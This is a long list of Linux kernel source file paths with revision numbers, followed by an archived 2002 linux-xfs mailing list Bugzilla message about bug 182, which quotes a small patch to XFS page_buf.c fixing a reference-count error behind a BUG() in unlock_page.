linux/drivers/message/i2o/i2o_scsi.c - 1.10 linux/drivers/message/i2o/i2o_block.c - 1.27 linux/drivers/net/8139cp.c - 1.22 linux/drivers/atm/lanai.c - 1.5 linux/drivers/acpi/executer/exoparg2.c - 1.9 linux/drivers/acpi/executer/exoparg1.c - 1.10 linux/drivers/net/tulip/pnic2.c - 1.2 linux/drivers/scsi/sym53c8xx_2/sym53c8xx.h - 1.5 linux/drivers/scsi/sym53c8xx_2/sym_glue.h - 1.6 linux/fs/ext3/inode.c - 1.25 linux/fs/ext3/super.c - 1.25 linux/fs/intermezzo/inode.c - 1.6 linux/drivers/hotplug/cpqphp_pci.c - 1.7 linux/drivers/hotplug/cpqphp_core.c - 1.9 linux/drivers/hotplug/Makefile - 1.5 linux/fs/intermezzo/super.c - 1.8 linux/include/linux/intermezzo_fs.h - 1.6 linux/drivers/hotplug/Config.in - 1.4 linux/fs/intermezzo/cache.c - 1.7 linux/drivers/net/pcmcia/axnet_cs.c - 1.3 linux/include/linux/bio.h - 1.17 linux/fs/bio.c - 1.23 linux/include/linux/device.h - 1.22 linux/init/do_mounts.c - 1.20 linux/mm/mempool.c - 1.13 linux/include/linux/mempool.h - 1.4 linux/include/linux/gfp.h - 1.7 linux/drivers/usb/serial/ipaq.c - 1.16 linux/drivers/usb/serial/kl5kusb105.c - 1.15 linux/arch/i386/kdb/ChangeLog - 1.8 linux/fs/xfs/pagebuf/page_buf.c - 1.72 linux/drivers/block/cciss_scsi.c - 1.6 linux/drivers/block/cciss_scsi.h - 1.2 linux/lib/Config.in - 1.3 linux/drivers/ide/ide-taskfile.c - 1.24 linux/drivers/media/video/Config.help - 1.2 linux/net/sched/Config.help - 1.3 linux/net/irda/irnet/Config.help - 1.2 linux/arch/alpha/Config.help - 1.8 linux/net/irda/irlan/Config.help - 1.2 linux/arch/arm/Config.help - 1.10 linux/net/irda/ircomm/Config.help - 1.2 linux/arch/cris/Config.help - 1.6 linux/net/irda/Config.help - 1.2 linux/arch/cris/drivers/Config.help - 1.3 linux/net/ipx/Config.help - 1.3 linux/net/ipv6/netfilter/Config.help - 1.3 linux/net/ipv4/netfilter/Config.help - 1.4 linux/net/ipv4/Config.help - 1.2 linux/net/decnet/Config.help - 1.2 linux/net/bluetooth/Config.help - 1.5 linux/net/ax25/Config.help - 1.2 linux/arch/ia64/Config.help - 1.8 linux/net/Config.help - 1.4 linux/arch/m68k/Config.help - 1.4 linux/lib/Config.help - 1.2 linux/arch/mips/Config.help - 1.4 linux/init/Config.in - 1.3 linux/arch/mips64/Config.help - 1.4 linux/init/Config.help - 1.2 linux/arch/parisc/Config.help - 1.3 linux/fs/partitions/Config.help - 1.4 linux/arch/ppc/8260_io/Config.help - 1.3 linux/arch/ppc/8xx_io/Config.help - 1.3 linux/arch/ppc/Config.help - 1.12 linux/fs/nls/Config.help - 1.3 linux/arch/s390/Config.help - 1.4 linux/fs/ncpfs/Config.help - 1.2 linux/arch/s390x/Config.help - 1.4 linux/fs/Config.help - 1.23 linux/arch/sh/Config.help - 1.4 linux/drivers/zorro/Config.help - 1.2 linux/drivers/video/Config.help - 1.6 linux/drivers/usb/serial/Config.help - 1.6 linux/drivers/usb/Config.help - 1.9 linux/drivers/telephony/Config.help - 1.3 linux/drivers/sgi/Config.help - 1.2 linux/drivers/scsi/pcmcia/Config.help - 1.2 linux/drivers/scsi/aic7xxx/Config.help - 1.2 linux/arch/sparc/Config.help - 1.5 linux/drivers/scsi/Config.help - 1.4 linux/arch/sparc64/Config.help - 1.6 linux/drivers/sbus/char/Config.help - 1.3 linux/drivers/acorn/block/Config.help - 1.2 linux/drivers/acorn/net/Config.help - 1.2 linux/drivers/acorn/scsi/Config.help - 1.2 linux/drivers/acpi/Config.help - 1.6 linux/drivers/atm/Config.help - 1.2 linux/drivers/block/Config.help - 1.4 linux/drivers/block/paride/Config.help - 1.2 linux/drivers/bluetooth/Config.help - 1.6 linux/drivers/cdrom/Config.help - 1.3 linux/drivers/char/Config.help - 1.15 linux/drivers/char/drm/Config.help - 1.2 linux/drivers/char/ftape/Config.help - 1.3 linux/drivers/char/pcmcia/Config.help - 1.3 linux/drivers/s390/Config.help - 1.3 linux/drivers/fc4/Config.help - 1.2 linux/drivers/hotplug/Config.help - 1.3 linux/drivers/i2c/Config.help - 1.3 linux/drivers/ide/Config.help - 1.18 linux/drivers/ieee1394/Config.help - 1.3 linux/drivers/input/Config.help - 1.6 linux/drivers/isdn/Config.help - 1.5 linux/drivers/md/Config.help - 1.2 linux/drivers/media/Config.help - 1.2 linux/drivers/media/radio/Config.help - 1.2 linux/drivers/pnp/Config.help - 1.4 linux/drivers/message/fusion/Config.help - 1.3 linux/drivers/message/i2o/Config.help - 1.2 linux/drivers/mtd/Config.help - 1.3 linux/drivers/mtd/chips/Config.help - 1.3 linux/drivers/mtd/devices/Config.help - 1.2 linux/drivers/mtd/maps/Config.help - 1.4 linux/drivers/mtd/nand/Config.help - 1.2 linux/drivers/pcmcia/Config.help - 1.2 linux/drivers/pci/Config.help - 1.2 linux/drivers/net/Config.help - 1.8 linux/drivers/parport/Config.help - 1.2 linux/drivers/net/appletalk/Config.help - 1.3 linux/drivers/net/arcnet/Config.help - 1.2 linux/drivers/net/wireless/Config.help - 1.3 linux/drivers/net/wan/Config.help - 1.4 linux/drivers/net/hamradio/Config.help - 1.2 linux/drivers/net/irda/Config.help - 1.5 linux/drivers/net/mii.c - 1.8 linux/drivers/net/pcmcia/Config.help - 1.4 linux/drivers/net/tokenring/Config.help - 1.3 linux/Documentation/DocBook/writing_usb_driver.tmpl - 1.2 linux/drivers/input/joystick/Config.in - 1.6 linux/drivers/input/joystick/Config.help - 1.6 linux/drivers/input/gameport/Config.in - 1.4 linux/drivers/input/gameport/Config.help - 1.3 linux/drivers/input/serio/Config.help - 1.3 linux/drivers/input/serio/Config.in - 1.6 linux/sound/ppc/powermac.c - 1.6 linux/sound/ppc/Config.in - 1.3 linux/sound/pci/ymfpci/ymfpci.c - 1.10 linux/sound/pci/trident/trident.c - 1.7 linux/sound/pci/sonicvibes.c - 1.8 linux/sound/pci/rme9652/rme9652.c - 1.11 linux/sound/pci/rme96.c - 1.10 linux/sound/pci/nm256/nm256.c - 1.10 linux/sound/pci/maestro3.c - 1.10 linux/sound/pci/korg1212/korg1212.c - 1.11 linux/sound/pci/intel8x0.c - 1.11 linux/sound/pci/fm801.c - 1.8 linux/sound/pci/es1968.c - 1.10 linux/sound/pci/es1938.c - 1.8 linux/sound/pci/ens1370.c - 1.12 linux/sound/pci/emu10k1/emufx.c - 1.9 linux/sound/pci/emu10k1/emu10k1.c - 1.7 linux/sound/pci/cs46xx/cs46xx.c - 1.12 linux/sound/pci/cs4281.c - 1.11 linux/sound/pci/cmipci.c - 1.11 linux/sound/pci/als4000.c - 1.8 linux/sound/pci/ali5451/ali5451.c - 1.10 linux/sound/pci/Config.in - 1.9 linux/sound/oss/sb_common.c - 1.2 linux/sound/oss/sb_card.c - 1.2 linux/sound/oss/dmasound/Config.in - 1.2 linux/sound/oss/dmasound/Config.help - 1.2 linux/sound/oss/cs4232.c - 1.3 linux/arch/x86_64/Config.help - 1.4 linux/arch/x86_64/Makefile - 1.10 linux/arch/x86_64/boot/Makefile - 1.8 linux/arch/x86_64/config.in - 1.14 linux/arch/x86_64/kernel/Makefile - 1.9 linux/arch/x86_64/kernel/apic.c - 1.6 linux/arch/x86_64/kernel/ioport.c - 1.4 linux/arch/x86_64/kernel/mtrr.c - 1.9 linux/arch/x86_64/kernel/nmi.c - 1.5 linux/arch/x86_64/kernel/pci-dma.c - 1.4 linux/arch/x86_64/kernel/setup.c - 1.6 linux/arch/x86_64/kernel/setup64.c - 1.6 linux/arch/x86_64/kernel/signal.c - 1.8 linux/arch/x86_64/kernel/smpboot.c - 1.7 linux/arch/x86_64/kernel/traps.c - 1.9 linux/arch/x86_64/kernel/x8664_ksyms.c - 1.9 linux/arch/x86_64/mm/init.c - 1.9 linux/sound/oss/ad1848.c - 1.5 linux/sound/oss/Config.in - 1.5 linux/sound/oss/Config.help - 1.3 linux/sound/isa/wavefront/wavefront.c - 1.8 linux/sound/isa/sgalaxy.c - 1.7 linux/sound/isa/sb/sb8.c - 1.7 linux/sound/isa/sb/sb16_main.c - 1.6 linux/sound/isa/sb/sb16.c - 1.7 linux/sound/isa/sb/es968.c - 1.7 linux/sound/isa/opti9xx/opti92x-ad1848.c - 1.7 linux/sound/isa/opl3sa2.c - 1.11 linux/sound/isa/gus/interwave.c - 1.8 linux/sound/isa/gus/gusmax.c - 1.6 linux/sound/isa/gus/gusextreme.c - 1.6 linux/sound/isa/gus/gusclassic.c - 1.6 linux/sound/isa/es18xx.c - 1.9 linux/sound/isa/es1688/es1688.c - 1.6 linux/sound/isa/cs423x/cs4236.c - 1.9 linux/sound/isa/cs423x/cs4231.c - 1.5 linux/sound/isa/cmi8330.c - 1.8 linux/sound/isa/azt2320.c - 1.7 linux/sound/isa/als100.c - 1.7 linux/sound/isa/ad1848/ad1848.c - 1.5 linux/sound/isa/ad1816a/ad1816a.c - 1.6 linux/sound/isa/Config.in - 1.5 linux/sound/drivers/virmidi.c - 1.5 linux/sound/drivers/serial-u16550.c - 1.9 linux/sound/drivers/mtpav.c - 1.7 linux/sound/drivers/mpu401/mpu401.c - 1.5 linux/sound/drivers/dummy.c - 1.8 linux/sound/drivers/Config.in - 1.3 linux/sound/core/wrappers.c - 1.3 linux/sound/core/timer.c - 1.8 linux/sound/core/sound.c - 1.10 linux/sound/core/seq/seq_timer.c - 1.6 linux/sound/core/seq/seq_clientmgr.c - 1.10 linux/sound/core/seq/seq.c - 1.4 linux/sound/core/seq/Makefile - 1.14 linux/sound/core/rawmidi.c - 1.10 linux/sound/core/pcm_memory.c - 1.5 linux/sound/core/oss/pcm_oss.c - 1.11 linux/sound/core/info.c - 1.8 linux/sound/core/Makefile - 1.14 linux/sound/core/Config.in - 1.9 linux/sound/Config.in - 1.6 linux/include/asm-x86_64/processor.h - 1.8 linux/include/asm-x86_64/pgtable.h - 1.9 linux/include/asm-x86_64/pci.h - 1.4 linux/include/asm-x86_64/mtrr.h - 1.3 linux/include/asm-x86_64/kmap_types.h - 1.5 linux/include/asm-x86_64/e820.h - 1.3 linux/include/sound/version.h - 1.12 linux/include/sound/sb.h - 1.3 linux/include/sound/core.h - 1.12 linux/include/sound/ac97_codec.h - 1.8 linux/arch/ppc64/config.in - 1.13 linux/drivers/net/tokenring/3c359.c - 1.4 linux/drivers/hotplug/ibmphp_core.c - 1.8 linux/fs/jfs/inode.c - 1.17 linux/drivers/net/tulip/Config.help - 1.2 linux/sound/pci/Config.help - 1.7 linux/sound/isa/Config.help - 1.3 linux/drivers/net/tulip/Config.in - 1.3 linux/sound/drivers/Config.help - 1.2 linux/drivers/net/tg3.h - 1.11 linux/drivers/net/tg3.c - 1.12 linux/drivers/net/tulip/de2104x.c - 1.4 linux/drivers/net/tulip/dmfe.c - 1.3 linux/drivers/net/tulip/xircom_cb.c - 1.4 linux/drivers/net/wan/hdlc_x25.c - 1.3 linux/drivers/net/wan/hdlc_cisco.c - 1.3 linux/sound/core/Config.help - 1.2 linux/sound/Config.help - 1.2 linux/drivers/net/wan/hdlc_fr.c - 1.3 linux/drivers/net/wan/hdlc_generic.c - 1.3 linux/drivers/net/wan/hdlc_ppp.c - 1.3 linux/drivers/net/wan/hdlc_raw.c - 1.3 linux/include/asm-ia64/thread_info.h - 1.3 linux/include/asm-ia64/sn/bte_copy.h - 1.2 linux/Documentation/BK-usage/bk-kernel-howto.txt - 1.4 linux/Documentation/filesystems/tmpfs.txt - 1.2 linux/Documentation/networking/NAPI_HOWTO.txt - 1.2 linux/fs/libfs.c - 1.9 linux/lib/radix-tree.c - 1.7 linux/drivers/usb/class/Config.help - 1.4 linux/drivers/usb/class/Config.in - 1.4 linux/drivers/usb/image/microtek.c - 1.5 linux/drivers/usb/class/audio.c - 1.9 linux/drivers/usb/class/bluetty.c - 1.11 linux/drivers/usb/input/Config.help - 1.6 linux/drivers/usb/class/cdc-acm.c - 1.10 linux/drivers/usb/core/Config.in - 1.3 linux/drivers/usb/core/devices.c - 1.5 linux/drivers/usb/core/devio.c - 1.11 linux/include/asm-generic/percpu.h - 1.4 linux/drivers/usb/core/hcd.c - 1.13 linux/drivers/usb/core/hub.c - 1.15 linux/drivers/usb/core/usb-debug.c - 1.3 linux/drivers/usb/input/hid-core.c - 1.10 linux/drivers/usb/core/usb.c - 1.22 linux/drivers/usb/host/Config.help - 1.5 linux/drivers/usb/host/Config.in - 1.8 linux/drivers/usb/media/konicawc.c - 1.7 linux/drivers/usb/host/ehci-hcd.c - 1.12 linux/drivers/usb/host/ehci-q.c - 1.12 linux/drivers/usb/host/ehci-sched.c - 1.10 linux/drivers/usb/host/ohci-hcd.c - 1.13 linux/drivers/usb/host/ohci-mem.c - 1.7 linux/drivers/usb/host/ohci-q.c - 1.14 linux/drivers/usb/media/stv680.c - 1.8 linux/drivers/base/base.h - 1.10 linux/drivers/usb/media/usbvideo.c - 1.9 linux/drivers/usb/image/Config.help - 1.3 linux/drivers/usb/image/Config.in - 1.4 linux/drivers/usb/image/hpusbscsi.c - 1.7 linux/drivers/usb/image/mdc800.c - 1.8 linux/drivers/usb/image/scanner.c - 1.11 linux/drivers/usb/input/Config.in - 1.7 linux/drivers/usb/input/hiddev.c - 1.10 linux/drivers/usb/input/usbkbd.c - 1.6 linux/drivers/usb/input/usbmouse.c - 1.5 linux/drivers/usb/input/wacom.c - 1.7 linux/drivers/usb/media/Config.help - 1.2 linux/drivers/usb/media/Config.in - 1.3 linux/drivers/usb/media/dabusb.c - 1.10 linux/drivers/usb/media/ibmcam.c - 1.6 linux/drivers/usb/media/ov511.c - 1.8 linux/drivers/usb/media/pwc-if.c - 1.6 linux/drivers/usb/storage/Config.in - 1.4 linux/drivers/usb/storage/Config.help - 1.4 linux/drivers/usb/serial/safe_serial.c - 1.8 linux/drivers/usb/media/se401.c - 1.10 linux/drivers/usb/net/usbnet.c - 1.13 linux/drivers/usb/net/rtl8150.c - 1.9 linux/drivers/usb/media/ultracam.c - 1.6 linux/drivers/usb/net/pegasus.c - 1.9 linux/drivers/usb/media/vicam.c - 1.6 linux/drivers/usb/net/kaweth.c - 1.10 linux/drivers/usb/net/cdc-ether.c - 1.8 linux/drivers/usb/net/catc.c - 1.5 linux/drivers/usb/net/Config.in - 1.4 linux/mm/readahead.c - 1.11 linux/drivers/usb/misc/Config.help - 1.7 linux/drivers/usb/net/Config.help - 1.2 linux/drivers/usb/misc/uss720.c - 1.4 linux/drivers/usb/misc/auerswald.c - 1.9 linux/drivers/usb/misc/tiglusb.c - 1.9 linux/include/asm-ia64/percpu.h - 1.4 linux/drivers/isdn/tpam/Config.help - 1.2 linux/drivers/isdn/icn/Config.in - 1.3 linux/drivers/isdn/icn/Config.help - 1.2 linux/drivers/isdn/i4l/isdn_x25iface.h - 1.2 linux/drivers/isdn/i4l/isdn_x25iface.c - 1.2 linux/drivers/isdn/i4l/isdn_v110.h - 1.3 linux/drivers/isdn/i4l/isdn_v110.c - 1.3 linux/drivers/isdn/i4l/isdn_ttyfax.h - 1.2 linux/drivers/isdn/i4l/isdn_ttyfax.c - 1.4 linux/drivers/isdn/i4l/isdn_tty.h - 1.3 linux/drivers/isdn/i4l/isdn_tty.c - 1.7 linux/drivers/isdn/i4l/isdn_ppp.h - 1.5 linux/drivers/isdn/i4l/isdn_ppp.c - 1.11 linux/drivers/isdn/i4l/isdn_net.h - 1.10 linux/drivers/isdn/i4l/isdn_net.c - 1.10 linux/drivers/isdn/i4l/isdn_concap.h - 1.4 linux/include/asm-ia64/acpi.h - 1.5 linux/drivers/isdn/i4l/isdn_concap.c - 1.5 linux/drivers/isdn/i4l/isdn_common.h - 1.7 linux/drivers/isdn/i4l/isdn_common.c - 1.10 linux/drivers/isdn/i4l/isdn_audio.h - 1.2 linux/drivers/isdn/i4l/isdn_audio.c - 1.4 linux/drivers/isdn/i4l/Makefile - 1.7 linux/include/asm-x86_64/percpu.h - 1.5 linux/drivers/isdn/i4l/Config.in - 1.4 linux/drivers/isdn/i4l/Config.help - 1.2 linux/drivers/isdn/hysdn/Config.in - 1.2 linux/drivers/isdn/hysdn/Config.help - 1.2 linux/drivers/isdn/hisax/Config.in - 1.8 linux/drivers/isdn/hisax/Config.help - 1.3 linux/drivers/isdn/eicon/Config.in - 1.2 linux/drivers/isdn/eicon/Config.help - 1.2 linux/drivers/isdn/act2000/Config.in - 1.3 linux/drivers/isdn/act2000/Config.help - 1.2 linux/arch/ia64/hp/sim/simserial.c - 1.7 linux/arch/ia64/hp/sim/simscsi.h - 1.3 linux/arch/ia64/hp/sim/simscsi.c - 1.4 linux/drivers/isdn/tpam/Config.in - 1.3 linux/drivers/isdn/sc/Config.in - 1.3 linux/drivers/isdn/pcbit/Config.help - 1.2 linux/drivers/isdn/pcbit/Config.in - 1.3 linux/drivers/isdn/sc/Config.help - 1.2 linux/drivers/usb/misc/brlvger.c - 1.8 linux/drivers/isdn/hardware/avm/Config.in - 1.5 linux/drivers/isdn/capi/Config.help - 1.3 linux/drivers/isdn/capi/Config.in - 1.3 linux/drivers/isdn/capi/Makefile - 1.4 linux/drivers/isdn/hardware/avm/Makefile - 1.3 linux/drivers/isdn/hardware/Makefile - 1.5 linux/drivers/isdn/hardware/Config.in - 1.4 linux/sound/arm/Config.in - 1.2 linux/drivers/scsi/scsi_mid_low_api.txt - 1.4 linux/sound/arm/Config.help - 1.2 linux/sound/pci/rme32.c - 1.6 linux/sound/arm/sa11xx-uda1341.c - 1.6 linux/drivers/block/umem.c - 1.15 linux/drivers/bluetooth/bluecard_cs.c - 1.5 linux/drivers/usb/host/uhci-hcd.c - 1.13 linux/arch/i386/pci/Makefile - 1.3 linux/drivers/net/wan/pc300_drv.c - 1.4 linux/drivers/net/wan/pc300_tty.c - 1.3 linux/fs/fs-writeback.c - 1.10 linux/include/linux/page-flags.h - 1.14 linux/mm/page-writeback.c - 1.15 linux/init/Makefile - 1.10 linux/include/asm-i386/suspend.h - 1.4 linux/kernel/suspend.c - 1.17 linux/drivers/isdn/hardware/avm/Config.help - 1.2 linux/drivers/usb/host/hc_simple.c - 1.4 linux/drivers/usb/host/hc_sl811_rh.c - 1.3 linux/fs/mpage.c - 1.13 linux/drivers/usb/core/urb.c - 1.8 linux/drivers/usb/core/message.c - 1.11 linux/drivers/usb/core/config.c - 1.2 linux/drivers/acpi/pci_irq.c - 1.8 linux/drivers/acpi/processor.c - 1.9 linux/drivers/isdn/hisax/amd7930_fn.c - 1.5 linux/drivers/isdn/hisax/enternow_pci.c - 1.3 linux/drivers/isdn/hisax/ipacx.c - 1.6 linux/drivers/usb/class/usb-midi.c - 1.6 linux/arch/i386/kernel/suspend.c - 1.7 linux/arch/i386/kernel/cpu/intel.c - 1.9 linux/drivers/s390/block/dasd_genhd.c - 1.12 linux/drivers/s390/block/dasd_ioctl.c - 1.6 linux/drivers/usb/input/aiptek.c - 1.7 linux/arch/x86_64/pci/irq.c - 1.2 linux/arch/x86_64/pci/legacy.c - 1.2 linux/arch/x86_64/pci/pci.h - 1.3 linux/arch/x86_64/pci/acpi.c - 1.2 linux/arch/x86_64/pci/common.c - 1.3 linux/net/llc/Makefile - 1.5 linux/sound/pci/rme9652/hdsp.c - 1.4 linux/sound/pci/rme9652/hammerfall_mem.c - 1.3 linux/drivers/input/touchscreen/Config.in - 1.3 linux/drivers/input/touchscreen/Config.help - 1.3 linux/drivers/input/mouse/Config.in - 1.2 linux/drivers/input/mouse/Config.help - 1.3 linux/drivers/input/keyboard/Config.in - 1.4 linux/drivers/input/keyboard/Config.help - 1.4 linux/drivers/input/joystick/iforce/iforce-usb.c - 1.5 linux/drivers/acpi/tables/tbrsdt.c - 1.4 linux/drivers/acpi/tables/tbgetall.c - 1.3 linux/drivers/input/joystick/iforce/Config.help - 1.2 linux/drivers/input/joystick/iforce/Config.in - 1.2 linux/fs/direct-io.c - 1.11 linux/drivers/usb/input/powermate.c - 1.6 linux/drivers/usb/input/xpad.c - 1.5 linux/security/Config.in - 1.2 linux/security/Config.help - 1.2 linux/drivers/usb/serial/io_ti.c - 1.5 linux/drivers/char/agp/Config.help - 1.2 linux/drivers/char/agp/Config.in - 1.3 linux/drivers/acpi/namespace/nsxfeval.c - 1.3 linux/drivers/serial/Config.in - 1.5 linux/drivers/acpi/include/acdisasm.h - 1.3 linux/drivers/serial/Config.help - 1.4 linux/kernel/cpu.c - 1.3 linux/drivers/serial/8250.c - 1.9 linux/include/linux/serial_core.h - 1.6 linux/arch/ppc64/Config.help - 1.2 linux/Documentation/vm/overcommit-accounting - 1.2 linux/drivers/bluetooth/bt3c_cs.c - 1.4 linux/drivers/usb/misc/Config.in - 1.4 linux/include/linux/pagevec.h - 1.5 linux/drivers/usb/misc/speedtouch.c - 1.4 linux/drivers/usb/class/usblp.c - 1.3 linux/drivers/input/misc/Config.in - 1.4 linux/drivers/input/misc/Config.help - 1.3 linux/fs/aio.c - 1.9 linux/arch/ia64/hp/sim/Config.in - 1.2 linux/arch/ia64/kernel/perfmon_itanium.h - 1.2 linux/arch/ia64/kernel/perfmon_mckinley.h - 1.2 linux/drivers/base/class.c - 1.3 linux/fs/jfs/xattr.c - 1.5 linux/net/sctp/protocol.c - 1.7 linux/net/sctp/Config.help - 1.2 linux/net/sctp/Config.in - 1.2 linux/net/sctp/Makefile - 1.2 linux/net/sctp/ipv6.c - 1.4 linux/include/asm-ia64/kmap_types.h - 1.2 linux/include/asm-sparc64/kmap_types.h - 1.2 linux/fs/xfs/linux/xfs_aops.c - 1.18 linux/include/asm-alpha/kmap_types.h - 1.2 linux/drivers/ide/ppc/pmac.c - 1.2 linux/drivers/ide/pci/sis5513.c - 1.5 linux/drivers/ide/pci/siimage.c - 1.5 linux/include/asm-ppc64/kmap_types.h - 1.2 linux/drivers/ide/pci/hpt366.c - 1.5 linux/drivers/ide/legacy/hd.c - 1.9 linux/arch/um/config.in - 1.4 linux/drivers/ide/arm/icside.c - 1.2 linux/drivers/ide/arm/rapide.c - 1.2 linux/arch/x86_64/vmlinux.lds.S - 1.3 linux/arch/sparc64/vmlinux.lds.S - 1.3 linux/arch/sparc/vmlinux.lds.S - 1.3 linux/arch/parisc/vmlinux.lds.S - 1.2 linux/drivers/acpi/blacklist.c - 1.3 linux/arch/i386/mach-visws/irq_vectors.h - 1.2 linux/net/bridge/netfilter/ebtables.c - 1.2 linux/net/bridge/netfilter/ebt_ip.c - 1.2 linux/arch/i386/mach-generic/irq_vectors.h - 1.2 linux/net/bridge/netfilter/Config.in - 1.2 linux/net/bridge/netfilter/Config.help - 1.2 linux/arch/ia64/pci/pci.c - 1.2 linux/drivers/block/deadline-iosched.c - 1.3 linux/drivers/base/hotplug.c - 1.5 linux/include/linux/netfilter_bridge/ebt_ip.h - 1.2 linux/include/linux/netfilter_bridge/ebtables.h - 1.2 linux/sound/sparc/cs4231.c - 1.2 linux/drivers/usb/core/driverfs.c - 1.3 linux/sound/sparc/amd7930.c - 1.2 linux/sound/sparc/Config.in - 1.2 linux/drivers/isdn/i4l/isdn_ciscohdlck.h - 1.2 linux/drivers/isdn/i4l/isdn_ciscohdlck.c - 1.4 linux/include/asm-ia64/topology.h - 1.2 linux/sound/isa/dt019x.c - 1.3 linux/arch/arm/mach-arc/Config.help - 1.2 linux/arch/arm/mach-arc/Config.in - 1.2 linux/arch/arm/mach-clps711x/Config.help - 1.2 linux/arch/arm/mach-clps711x/Config.in - 1.2 linux/arch/arm/mach-epxa10db/Config.help - 1.2 linux/arch/arm/mach-epxa10db/Config.in - 1.2 linux/arch/arm/mach-footbridge/Config.help - 1.2 linux/arch/arm/mach-footbridge/Config.in - 1.2 linux/arch/arm/mach-sa1100/Config.help - 1.2 linux/arch/arm/mach-iop310/Config.help - 1.2 linux/arch/arm/mach-iop310/Config.in - 1.2 linux/arch/arm/mach-pxa/Config.in - 1.2 linux/arch/arm/mach-sa1100/Config.in - 1.2 linux/sound/usb/usbquirks.h - 1.3 linux/sound/usb/usbmidi.c - 1.2 linux/sound/usb/usbaudio.h - 1.2 linux/sound/usb/usbaudio.c - 1.3 linux/sound/usb/Makefile - 1.2 linux/sound/usb/Config.in - 1.2 linux/sound/usb/Config.help - 1.2 linux/sound/pci/via82xx.c - 1.2 linux/sound/pci/ice1712/ice1712.h - 1.2 linux/sound/pci/ice1712/ice1712.c - 1.2 linux/sound/pci/ice1712/ews.c - 1.2 linux/sound/pci/ice1712/delta.h - 1.2 linux/sound/pci/ice1712/delta.c - 1.2 linux/sound/pci/ice1712/ak4524.c - 1.2 linux/drivers/isdn/i4l/isdn_fsm.c - 1.2 linux/mm/truncate.c - 1.2 linux/drivers/char/amd768_rng.c - 1.2 linux/include/asm-s390/kmap_types.h - 1.2 linux/net/llc/llc_proc.c - 1.4 linux/drivers/usb/misc/usbtest.c - 1.4 linux/drivers/scsi/nsp32.c - 1.2 linux/drivers/scsi/aacraid/linit.c - 1.3 linux/drivers/scsi/aacraid/aachba.c - 1.3 linux/drivers/isdn/i4l/isdn_net_lib.c - 1.4 linux/drivers/isdn/i4l/isdn_fsm.h - 1.2 linux/net/bluetooth/rfcomm/Makefile - 1.3 linux/net/bluetooth/rfcomm/Config.in - 1.3 linux/net/bluetooth/rfcomm/Config.help - 1.3 linux/net/bluetooth/bnep/Config.help - 1.3 linux/net/bluetooth/bnep/Config.in - 1.3 linux/net/sunrpc/svcauth_unix.c - 1.3 linux/fs/nfsd/nfs4xdr.c - 1.3 linux/drivers/isdn/hardware/eicon/Config.help - 1.2 linux/drivers/isdn/hardware/eicon/Config.in - 1.2 linux/drivers/isdn/hardware/eicon/Makefile - 1.2 linux/drivers/isdn/hardware/eicon/capifunc.c - 1.2 linux/include/linux/nfsd/xdr4.h - 1.3 linux/include/linux/rcupdate.h - 1.2 linux/include/asm-x86_64/proto.h - 1.3 linux/kernel/rcupdate.c - 1.2 linux/net/ipv4/ip_proc.c - 1.3 linux/arch/i386/oprofile/Config.help - 1.2 linux/arch/i386/oprofile/Config.in - 1.2 linux/arch/i386/oprofile/op_model_athlon.c - 1.2 linux/arch/i386/oprofile/op_model_ppro.c - 1.2 linux/drivers/block/scsi_ioctl.c - 1.2 linux/arch/x86_64/kernel/pci-gart.c - 1.2 linux/drivers/block/ioctl.c - 1.2 linux/arch/x86_64/kernel/e820.c - 1.2 linux/arch/x86_64/kernel/acpi.c - 1.2 linux/include/asm-i386/edd.h - 1.2 linux/drivers/pnp/pnpbios/core.c - 1.2 linux/scripts/Makefile.clean - 1.2 linux/arch/i386/mm/highmem.c - 1.2 linux/drivers/pnp/resource.c - 1.2 linux/drivers/pnp/names.c - 1.2 linux/drivers/isdn/i4l/isdn_ppp_ccp.h - 1.2 linux/drivers/isdn/i4l/isdn_ppp_ccp.c - 1.2 linux/drivers/pnp/base.h - 1.2 linux/drivers/pnp/compat.c - 1.2 linux/drivers/pnp/core.c - 1.2 linux/drivers/pnp/driver.c - 1.2 linux/fs/sysfs/inode.c - 1.2 linux/arch/i386/kernel/edd.c - 1.2 linux/include/linux/sysfs.h - 1.2 linux/drivers/pnp/isapnp/Makefile - 1.2 linux/include/linux/pnp.h - 1.2 From owner-linux-xfs@oss.sgi.com Mon Nov 4 14:43:53 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 04 Nov 2002 14:43:55 -0800 (PST) Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id gA4MhruR006225 for ; Mon, 4 Nov 2002 14:43:53 -0800 Received: (from xfs-master@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id gA4MhrEq006224 for linux-xfs@oss.sgi.com; Mon, 4 Nov 2002 14:43:53 -0800 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id gA4MhpuT006210 for ; Mon, 4 Nov 2002 14:43:51 -0800 Received: (from apache@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id gA4MWpB9006176; Mon, 4 Nov 2002 14:32:51 -0800 Date: Mon, 4 Nov 2002 14:32:51 -0800 Message-Id: <200211042232.gA4MWpB9006176@oss.sgi.com> From: bugzilla-daemon@oss.sgi.com To: xfs-master@oss.sgi.com Subject: [Bug 182] Hitting the BUG() in filemap.c:843 (in unlock_page()) X-Bugzilla-Reason: AssignedTo X-archive-position: 1500 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: bugzilla-daemon@oss.sgi.com Precedence: bulk X-list: linux-xfs http://oss.sgi.com/bugzilla/show_bug.cgi?id=182 ------- Additional Comments From sandeen@sgi.com 2002-11-04 14:32 ------- For the record, I believe this was the patch that fixed this problem. (from ASANO Masahiro ) I found a bug at current 2.4 CVS about `struct pagesync_t'. Some driver top-half may call buffer_head.b_end_io() on process context (not interrupt context). So _end_pagebuf_page_io_multi() may be called several times with remain==1. Please fix it. Here is a patch. -- Masano --- linux/fs/xfs/pagebuf/page_buf.c Fri Oct 25 07:46:20 2002 +++ linux/fs/xfs/pagebuf/page_buf.c.new Sun Oct 27 15:53:38 2002 @@ -1645,7 +1645,7 @@ BUG(); /* Ugh - out of memory condition here */ psync->pb = pb; psync->locking = locking; - atomic_set(&psync->remain, 0); + atomic_set(&psync->remain, cnt); callback = public_bh ? _end_io_multi_part : _end_io_multi_full; @@ -1667,7 +1667,6 @@ /* Complete the buffer_head, then submit the IO */ if (psync) { init_buffer(bh, callback, psync); - atomic_inc(&psync->remain); } else { init_buffer(bh, callback, pb); } ------- You are receiving this mail because: ------- You are the assignee for the bug, or are 